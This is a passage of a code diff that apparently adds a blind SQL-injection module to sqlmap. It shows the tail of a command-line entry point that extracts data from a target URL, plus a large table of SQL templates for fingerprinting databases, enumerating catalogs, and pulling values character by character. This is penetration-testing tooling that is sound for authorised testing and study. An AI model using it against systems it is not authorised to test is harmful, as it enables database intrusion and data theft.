+    if not args.url:                        # no target and nothing to do -> show help, don't surprise
+        parser.print_help()
+        return 1
+
+    target = args.url if "://" in args.url else ("http://" + args.url)   # tolerate a scheme-less URL
+    esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
+                                args.string, args.code))
+    import sys as _sys
+    _tty = _sys.stdout.isatty()
+    def _charLive(partial, total):
+        # LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in
+        # place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when
+        # complete, so it can't collide with the next message. Framed rows preview as cells.
+        shown = _previewFramed(partial)
+        if shown is None:
+            shown = partial
+        _sys.stdout.write("\r\033[K[i] retrieved: %s" % _safeterm(shown[-200:]))
+        if len(partial) >= total:               # value complete -> keep it and drop to a new line
+            _sys.stdout.write("\n")
+        _sys.stdout.flush()
+    def _plainLive(value):                      # piped/non-tty: one plain line per value, no control codes
+        _sys.stdout.write("[i] retrieved: %s\n" % _safeterm(value))
+        _sys.stdout.flush()
+    if _tty:
+        esp._charProgress = _charLive           # animated char-by-char is the sole feedback on a terminal
+    else:
+        esp._progress = _plainLive              # logs/pipes get clean per-value lines instead
+    print("[i] discovering the back-end SQL dialect (agnostic mode) ...")
+    try:
+        esp.discover()
+        _report(esp, args)
+    except RuntimeError as ex:              # unreachable/uninjectable target -> clean message, no traceback
+        print("[!] could not establish a working boolean oracle (%s)" % ex)
+        print("    check the target is reachable and injectable, and the marker/--string/--code are right")
+        return 1
+    except KeyboardInterrupt:               # Ctrl-C mid-extraction -> clean stop, no traceback
+        print("\n[!] aborted by user")
+        return 1
+    return 0
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(main())

extra/esperanto/atlas.py

@@ -0,0 +1,508 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a
+dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only,
+no logic. Each table is (name, template, ...); templates use str.format fields such as
+{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is
+written as a \\uXXXX escape so it is always obvious which code point is meant.
+"""
+
+from __future__ import print_function
+
+import binascii
+
+
+def _unhexlify(value):
+    """Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it."""
+    if isinstance(value, type(u"")):
+        value = value.encode("ascii")
+    return binascii.unhexlify(value)
+
+
+def _isSingleUnicodeScalar(value):
+    """True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair)."""
+    if len(value) == 1:
+        return True
+    return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and
+            0xDC00 <= ord(value[1]) <= 0xDFFF)
+
+
+# string concatenation of {a} and {b} (operator or function form)
+_CONCAT = (
+    ("pipes", "({a})||({b})"),          # || : 26/31 DBMSes (ANSI)
+    ("concat", "CONCAT({a},{b})"),      # MySQL/MaxDB/HSQLDB
+    ("plus", "({a})+({b})"),            # MSSQL/Sybase
+    ("amp", "({a})&({b})"),             # MS Access
+)
+
+
+# 1-based substring: {len} characters of {expr} starting at {pos}
+_SUBSTRING = (
+    ("SUBSTR", "SUBSTR(({expr}),{pos},{len})"),
+    ("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"),
+    ("MID", "MID(({expr}),{pos},{len})"),
+    ("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"),
+    ("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"),
+    ("substring_lc", "substring(({expr}),{pos},{len})"),
+    # LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT
+    # but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which
+    # is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to
+    # RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general
+    # fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so
+    # it is deliberately kept length-free and len=1-scoped.
+    ("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"),
+)
+
+
+# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here)
+_LENGTH = (
+    ("CHAR_LENGTH", "CHAR_LENGTH({expr})"),
+    ("LENGTH", "LENGTH({expr})"),
+    ("LEN", "LEN({expr})"),
+    ("length_lc", "length({expr})"),
+)
+
+
+# single char {expr} -> its integer code point
+_CHARCODE = (
+    ("ASCII", "ASCII({expr})"),
+    ("UNICODE", "UNICODE({expr})"),
+    ("ORD", "ORD({expr})"),
+    ("CODEPOINT", "CODEPOINT({expr})"),
+    ("UNICODE_VAL", "UNICODE_VAL({expr})"),                             # Firebird (code point; ASCII_VAL below errors >255)
+    ("ASCII_VAL", "ASCII_VAL({expr})"),
+    ("ASCW", "ASCW({expr})"),
+    ("UNICODE_CODE", "UNICODE_CODE({expr})"),
+    ("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"),        # BigQuery/Spanner (array-indexed)
+)
+
+
+# integer {code} -> single char (lets extraction build literals without quoting)
+_CHARFROM = (
+    ("CHAR", "CHAR({code})"),
+    ("CHR", "CHR({code})"),
+    ("NCHAR", "NCHAR({code})"),
+    ("UNICODE_CHAR", "UNICODE_CHAR({code})"),                           # Firebird (code point; pairs with UNICODE_VAL)
+    ("ASCII_CHAR", "ASCII_CHAR({code})"),                               # Firebird (0-255)
+)
+
+
+# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case)
+_HEXFN = (
+    ("HEX", "UPPER(HEX({expr}))"),                                       # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive
+    ("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"),    # Oracle
+    ("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"),                             # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071')
+    ("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB
+    ("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"),  # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate
+    ("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"),          # Sybase
+    ("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"),                         # Snowflake/Altibase (Firebird needs a VARBINARY cast)
+    ("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"),                 # SAP HANA
+    ("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"),   # Presto/Vertica
+    ("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"),           # BigQuery/Spanner
+)
+
+
+# uppercase hex alphabet the nibble reader walks over
+_HEXDIGITS = "0123456789ABCDEF"
+
+
+# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles)
+_MAX_HEX_CHAR_NIBBLES = 16
+
+
+# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes
+# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one
+_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
+
+
+# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn -
+# the strongest encoding signal there is (the DB tells us its own charset), and read once. A
+# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one.
+_CHARSET_PROBES = (
+    "@@character_set_connection",                                           # MySQL/MariaDB/TiDB: the charset
+                                                                            # CAST(x AS CHAR) outputs (what the
+                                                                            # framed dump hexes), NOT @@character_set_database
+    "current_setting('server_encoding')",                                   # PostgreSQL / Cockroach / Crate
+    "(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')",  # Oracle
+    "CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))",  # SQL Server -> code page number
+)
+
+
+# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec.
+# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really
+# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true
+# Latin-1. This is where reading the DB's own answer beats statistical detection.
+_CHARSET_CODEC = {
+    "utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8",
+    "unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8",
+    "utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be",
+    "latin1": "cp1252",                                                     # MySQL 'latin1' == Windows-1252
+    "cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252",
+    "iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1",
+    "iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15",
+    "cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251",
+    "cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250",
+    "gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030",
+    "big5": "big5", "zht16big5": "big5", "950": "big5",
+    "sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis",
+    "euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr",
+    "eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp",
+    "koi8r": "koi8-r", "cl8koi8r": "koi8-r",
+    "ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii",
+}
+
+
+def _charsetCodec(name):
+    """Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown.
+    Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively."""
+    import re as _re
+    key = _re.sub(r"[^a-z0-9]", "", (name or "").lower())
+    while key:
+        if key in _CHARSET_CODEC:
+            return _CHARSET_CODEC[key]
+        key = key[:-1]                          # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4)
+    return None
+
+
+# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
+# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny
+# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall
+# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction.
+_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV"))
+
+
+# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
+# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL)
+_BINWRAP = (
+    ("collate_c", "({x}) COLLATE \"C\""),                    # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica
+    ("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"),   # SQL Server/Sybase ASE
+    ("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"),       # MySQL/MariaDB/TiDB/Doris/StarRocks
+    ("binary_op", "BINARY ({x})"),                            # MySQL (operator form)
+    ("cast_bytea", "CAST(({x}) AS bytea)"),                  # PostgreSQL family
+    ("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"),    # SQL Server/DB2
+    ("cast_blob", "CAST(({x}) AS BLOB)"),                    # SQLite/Firebird/Derby
+    ("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"),         # Oracle
+    ("raw", "UTL_RAW.CAST_TO_RAW({x})"),                     # Oracle (RAW bytewise)
+)
+
+
+# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull)
+_BULK_AGG = (
+    ("group_concat", "GROUP_CONCAT({col})"),                                 # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks
+    ("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"),          # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery
+    ("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"),  # Oracle 12.2+/graceful
+    ("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"),         # Oracle/DB2/Vertica/Redshift/Altibase
+    ("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"),                  # PostgreSQL/Presto/Trino/CrateDB
+    ("list_fb", "LIST({col})"),                                             # Firebird (returns BLOB)
+    ("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"),  # Teradata/DB2 (SQL/XML NAME kw)
+)
+
+
+# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family
+_DUAL = (
+    ("bare", ""),                                   # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/...
+    ("DUAL", " FROM DUAL"),                          # Oracle / SAP MaxDB / Altibase / CUBRID
+    ("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"),  # IBM Db2 / Apache Derby
+    ("RDB$DATABASE", " FROM RDB$DATABASE"),          # Firebird
+    ("DUMMY", " FROM DUMMY"),                        # SAP HANA
+    ("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"),  # Informix
+    ("VALUES", " FROM (VALUES(1)) t"),               # HSQLDB / standard
+    ("system.onerow", " FROM system.onerow"),        # Mimer SQL
+)
+
+
+# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail)
+_DUAL_IMPLIES = {
+    "DUAL": "Oracle / MaxDB / Altibase / CUBRID",
+    "SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby",
+    "RDB$DATABASE": "Firebird",
+    "DUMMY": "SAP HANA",
+    "SYSMASTER:SYSDUAL": "Informix",
+    "VALUES": "HSQLDB / SQL-standard",
+    "system.onerow": "Mimer SQL",
+}
+
+
+# version-banner probes: (label, expr, product, implies_product). engine-specific first;
+# implies_product=False marks generic banners where only the banner TEXT names the product
+_BANNERS = (
+    ("H2VERSION()", "H2VERSION()", "H2", True),
+    ("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True),
+    ("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True),
+    ("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True),
+    ("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True),  # low-priv Oracle
+    ("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True),   # needs SELECT_CATALOG_ROLE
+    ("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True),
+    ("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True),
+    ("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True),
+    ("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True),
+    ("@@VERSION", "@@VERSION", None, False),
+    ("VERSION()", "VERSION()", None, False),
+    ("version()", "version()", None, False),
+)
+
+
+# product names searched for INSIDE a banner string; forks listed BEFORE their parents
+# (e.g. MariaDB before MySQL) so the more specific name wins
+_BANNER_KEYWORDS = (
+    "Microsoft SQL Server",
+    "CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL",
+    "TiDB", "Percona", "MariaDB", "MySQL",
+    "Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake",
+    "Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix",
+)
+
+
+# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing)
+_BYTELEN = (
+    ("OCTET_LENGTH", "OCTET_LENGTH({expr})"),
+    ("DATALENGTH", "DATALENGTH({expr})"),
+    ("LENGTHB", "LENGTHB({expr})"),
+)
+
+
+# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
+# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but
+# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still
+# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check
+# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded;
+# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap,
+# so a >4000 value there is caught by per-cell source verification in dump(), not here.
+_TEXTCAST = (
+    ("cast_text", "CAST(({expr}) AS TEXT)"),                 # PostgreSQL/SQLite/... UNBOUNDED
+    ("cast_char", "CAST(({expr}) AS CHAR)"),                 # MySQL/MariaDB UNBOUNDED (bare CHAR)
+    ("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED
+    ("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"),  # SQL Server UNBOUNDED (non-Unicode)
+    ("cast_string", "CAST(({expr}) AS STRING)"),             # BigQuery/Spark UNBOUNDED
+    ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"),     # bounded fallbacks (short values only)
+    ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"),   # Oracle (hard 4000 limit)
+    ("to_char", "TO_CHAR({expr})"),
+    ("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
+    ("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
+)
+
+
+# substitute {fallback} when {expr} IS NULL
+_COALESCE = (
+    ("COALESCE", "COALESCE({expr},{fallback})"),
+    ("IFNULL", "IFNULL({expr},{fallback})"),
+    ("NVL", "NVL({expr},{fallback})"),
+    ("ISNULL", "ISNULL({expr},{fallback})"),
+    ("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"),
+)
+
+
+# expressions that yield the current user / database-or-schema / version, per kind
+_IDENTITY = {
+    "user": (
+        "CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER",
+        "SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()",
+    ),
+    # the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA
+    # functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope
+    # column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE()
+    # is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL),
+    # SCHEMA() returns the same value, so nothing regresses.
+    "database": (
+        "CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema",
+        "SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()",
+    ),   # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix
+    "version": (
+        "VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()",
+        "DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()",
+        "(SELECT banner FROM v$version WHERE ROWNUM=1)",     # Oracle
+        "(SELECT version FROM v$instance)",                  # Oracle alt
+    ),
+}
+
+
+# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first
+# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family
+_CATALOGS = (
+    ("sqlite_master", "SQLite",
+     {"table": ("tbl_name", "sqlite_master", "type='table'")}),
+    ("SYS.ALL_TABLES", "Oracle",       # exclude recyclebin objects (dropped tables linger as
+     {"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"),   # BIN$... in ALL_TABLES) - idea from SchemaCrawler
+      "schema": ("OWNER", "SYS.ALL_TABLES", None)}),
+    ("sys.summits", "CrateDB",       # CrateDB signature table (mountain summits); MUST precede
+     {"table": ("table_name", "information_schema.tables", None),   # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`)
+      "schema": ("table_schema", "information_schema.tables", None)}),
+    ("pg_catalog.pg_tables", "PostgreSQL-family",
+     {"table": ("tablename", "pg_catalog.pg_tables", None),
+      "schema": ("schemaname", "pg_catalog.pg_tables", None)}),
+    ("master..sysdatabases", "MSSQL/Sybase",
+     {"database": ("name", "master..sysdatabases", None),
+      "schema": ("name", "sys.schemas", None),
+      "table": ("name", "sys.tables", None)}),
+    ("RDB$RELATIONS", "Firebird",
+     {"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}),  # user tables only; TRIM the CHAR(63) padding
+    ("syscat.tables", "IBM DB2",
+     {"table": ("tabname", "syscat.tables", None)}),
+    ("sys._tables", "MonetDB",       # MonetDB-unique (underscore); MUST precede SYS.OBJECTS,
+     {"table": ("name", "sys._tables", "system=false")}),   # which MonetDB ALSO has -> was mis-ID'd as SAP HANA
+    ("SYS.OBJECTS", "SAP HANA",
+     {"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}),
+    ("SYS.SYSTABLES", "Apache Derby",
+     {"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}),   # Derby native catalog (user tables)
+    ("SYSIBM.SYSTABLES", "DB2/Derby",
+     {"table": ("NAME", "SYSIBM.SYSTABLES", None)}),
+    ("db_class", "CUBRID",           # CUBRID-unique catalog (object-oriented heritage);
+     {"table": ("class_name", "db_class", "is_system_class='NO'")}),   # else it matched nothing -> brute-forced blindly + went unnamed
+    ("systables", "Informix",        # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified);
+     {"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}),   # tabid>=100 = user objects, tabtype='T' = base tables
+    ("system.tables", "ClickHouse",  # precede INFORMATION_SCHEMA (CH has both); scope to the
+     {"table": ("name", "system.tables", "database=currentDatabase()")}),   # current db so its own system.* tables (incl a `users`!) don't pollute
+    ("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)",
+     {"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None),
+      "schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}),
+)
+
+
+# per-catalog column enumeration: (name_col, source, filter) where filter has one %s
+# for the (literal) table name; matched by the catalog chosen above
+# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the
+# catalog's declared column position, used to return columns in DEFINITION order (else
+# they come out alphabetical); a wrong/absent one just degrades to alphabetical
+_COLUMN_SPECS = {
+    "sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"),
+    "SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"),  # Oracle scopes by OWNER, not table_schema
+    "pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"),
+    "sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"),  # CrateDB (schema-scoped by columns())
+    "master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"),
+    "RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"),  # TRIM the CHAR padding
+    "syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"),
+    "db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"),  # CUBRID
+    "systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"),  # Informix
+    "sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"),  # MonetDB
+    "system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"),  # ClickHouse (scope to current db)
+    "SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"),
+    "SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"),
+    "SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"),
+    "INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"),
+}
+
+
+# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB
+# (case-sensitive, literal '_') is preferred over LIKE
+_PREFIX = (
+    ("GLOB", "*", "?"),         # SQLite: case-SENSITIVE, and '_' is literal (preferred)
+    ("LIKE", "%", "_"),         # near-universal core SQL (often case-insensitive)
+    ("SIMILAR TO", "%", "_"),   # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META)
+)
+
+
+# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a
+# literal one in the extracted value must be backslash-escaped or the pattern mismatches
+_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$")
+
+
+# identifier quoting styles: (open, close); probed against a known-present table
+_IDENT_QUOTE = (
+    ('"', '"'),         # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/...
+    ('`', '`'),         # MySQL/MariaDB/TiDB
+    ('[', ']'),         # SQL Server/Access/Sybase
+)
+
+
+# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter);
+# the preferred row-ordering key for dump()
+# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes
+# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA)
+_ANSI_KEY_SPEC = (
+    "INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name",
+    "constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS "
+    "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))")
+
+_KEY_SPECS = {
+    "INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC,
+    "master..sysdatabases": _ANSI_KEY_SPEC,     # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk
+    "pg_catalog.pg_tables": (
+        "information_schema.key_column_usage", "table_name", "column_name",
+        "constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints "
+        "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"),
+    "SYS.ALL_TABLES": (
+        "SYS.ALL_CONS_COLUMNS", "table_name", "column_name",
+        "constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS "
+        "WHERE constraint_type IN ('P','U'))"),
+}
+
+
+# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump()
+_ROWID = (
+    ("rowid", "ROWID", "int"),          # SQLite (integer); Oracle (opaque string) - unit re-measured
+    ("_ROWID_", "_ROWID_", "int"),      # SQLite alias
+    ("rowid_oracle", "ROWID", "text"),  # Oracle pseudo-column (opaque, orderable)
+    ("ctid", "ctid", "text"),           # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing
+    ("rrn", "RRN(%s)", "int"),          # IBM Db2 relative record number
+)
+
+
+# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their
+# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT
+# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works
+_ROWID_LITBOUND = frozenset(("ctid",))
+
+
+# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet
+_PRINTABLE = "".join(chr(_) for _ in range(32, 127))
+
+
+# _PRINTABLE sorted by code point (for ordinal/collation bisection)
+_PRINTABLE_SORTED = sorted(_PRINTABLE)
+
+
+# English-frequency-ordered charset (common letters first) so the equality scan needs
+# fewer probes on real text; completed with any remaining printable chars below
+_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz"
+               "0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ")
+_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER)
+
+
+# highest Unicode code point: the upper bound for code-mode bisection
+_UNICODE_MAX = 0x10FFFF
+
+
+# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker
+# (extraction emits it instead of ever silently substituting/dropping a character)
+_REPL = u"\uFFFD"
+
+
+# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is
+# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of
+# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which
+# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value.
+_SOFT_WARNINGS = ("case", "collation", "recovered via hex")
+
+
+def _hardWarnings(warns):
+    """The integrity-class warnings in `warns` (those that impugn the recovered bytes)."""
+    return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)]
+
+
+# py2/py3 shim: integer code point -> single char
+try:
+    _unichr = unichr                    # py2
+except NameError:
